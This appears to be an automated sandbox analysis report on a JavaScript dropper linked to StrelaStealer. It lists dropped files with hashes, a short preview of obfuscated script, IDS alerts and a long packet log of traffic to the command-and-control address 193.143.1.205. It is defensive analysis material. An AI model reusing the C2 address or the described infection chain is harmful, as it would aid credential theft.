Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\c59351d1-ce00-4d87-bf24-e5099422accb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/nZwYIGNPzWL07oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:fZwZG5WLxYGZn3mlind9i4ufFXpAXkru
MD5:	F43041C007C55C623135DD65EBCBE292
SHA1:	0F5781369DB2C967A1795898030244B2E9D561F6
SHA-256:	4F7827EA2E3ACAA6A1B5BC7969516DD8EF08AC789E9C5FBCE61A71D0553C2B8D
SHA-512:	E5D1D615B902E4D66FD550BDF1418FE7D70BC08548EA006891F90CB183299D6700547205A3F2FEED6AE2C2F3A95B5F094356E4FB5451A36C4555CBFABE4D44F5
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e0eb5c10-53a3-4b96-99f7-7b097350ccd6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (19327), with CRLF line terminators
Entropy (8bit):	4.913970700955582
TrID:
File name:	217216328232499881.js
File size:	22'775 bytes
MD5:	a0a0ad1692b4b768220fe894713744dd
SHA1:	94456df79c831e921baf44d8eca687852f345f7f
SHA256:	2b09e96f6f4f05a616261d911bbec90feec7a96ca30022489f7ed0dfe1fafdc4
SHA512:	0e43f53417fc56860cc16a518f56ecaec8812e151be2cc6db51c2e167006d2505e6aac915d768462fabb963f2ead7ac73d8e8202b46c2f6643e620b1f7554a3a
SSDEEP:	384:/Ff/7ECZFsKKWzh4ZLSWJiOTvfyQs5fEz4n5Y8Ttg2S:tHgCZFsKKWzrWJiOTnyQs5fEy5Y8TW
TLSH:	07A2758CCA05EF38C8D915A490EF34F617AED1DD86C411ED92A2F685D3A283D54F72B8
File Content Preview:	function vjldhsk(){dhxbhlr=[1031,3079,5127,4103,2055,3072];var kgqkl=this[qbzxu+zdoinges+zrnwphsb+adbewhq+wdkgncv+bkqhyhjap+kxkynaav+fofanspeu](this[vmajsrfmz+eyzluumjf+iyxhsq+zrnwphsb+yrzsy+qbzxu+fofanspeu][wzkreedm+zrnwphsb+wdkgncv+zdoinges+fofanspeu+wd

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T01:45:41.501995+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49710	193.143.1.205	80	TCP
2025-01-11T01:45:41.501995+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.6	49710	193.143.1.205	80	TCP
2025-01-11T01:45:44.105128+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49711	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:45:40.695167065 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:40.700030088 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:40.700265884 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:40.702846050 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:40.707710028 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.501482010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.501507044 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.501518011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.501528025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.501538992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.501549959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.501570940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.501581907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.501593113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.501604080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.501995087 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.501995087 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.558965921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.558984041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.559267044 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.623224974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.623261929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.623272896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.623285055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.623296022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.623331070 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.623331070 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.623624086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.623650074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.623970985 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.624012947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.624032021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.624042988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.624054909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.624066114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.624095917 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.624095917 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.624169111 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.624823093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.624881983 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.624892950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.624912024 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.624923944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.625036001 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.625036001 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.625803947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.625816107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.625828981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.625839949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.626101017 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.626101017 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.668889999 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.691359997 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.691375971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.691525936 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.725625992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.725646019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.725657940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.725867987 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.741472006 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.741497040 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.741513968 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.741523027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.741561890 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.741561890 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.741689920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.741698980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.741725922 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.741844893 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.741867065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.741991043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.742000103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.742032051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.742032051 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.742032051 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.742042065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.742113113 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.742522955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.742537975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.742547035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.742558002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.742566109 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.742588043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.742588043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.742650032 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.743200064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.743211031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.743218899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.743223906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.743232965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.743242025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.743252039 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.743329048 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.743329048 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.744028091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.744036913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.744045973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.744075060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.744085073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.744095087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.744103909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.744143963 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.744143963 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.744143963 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.745141029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.745151043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.745160103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.745170116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.745178938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.745188951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.745198011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.745246887 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.745246887 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.745963097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.745973110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.745981932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.745990992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.746000051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.746015072 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.746193886 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.778091908 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.778107882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.778115034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.778192043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.812412977 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.812436104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.812630892 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.845747948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.845765114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.845846891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.845858097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.845881939 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.845989943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.846003056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.846014023 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.846061945 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.846061945 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.869620085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.869637012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.869648933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.869772911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.869801044 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.869827986 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.870060921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.870074034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.870112896 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.870112896 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.870292902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.870306015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.870318890 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.870362043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.870362043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.870553017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.870564938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.870572090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.870583057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.870600939 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.870611906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.870625019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.870636940 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.870636940 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.871335983 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.871522903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.871536970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.871556997 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.871568918 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.871575117 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.871582031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.871596098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.871608973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.871655941 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.871655941 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.871655941 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.872559071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.872574091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.872586966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.872600079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.872612953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.872623920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.872636080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.872783899 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.872785091 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.873435974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.873450041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.873461962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.873473883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.873486042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.873497009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.873509884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.873524904 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.873524904 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.873585939 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.873585939 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.874399900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.874413967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.874424934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.874437094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.874449968 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.874460936 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.874474049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.874507904 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.874507904 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.874507904 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.875236034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.875256062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.875288963 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.875303030 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.875355005 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.875411987 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.875423908 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.875433922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.875444889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.875463009 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.875533104 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.876146078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.876233101 CET	80	49710	193.143.1.205	192.168.2.6
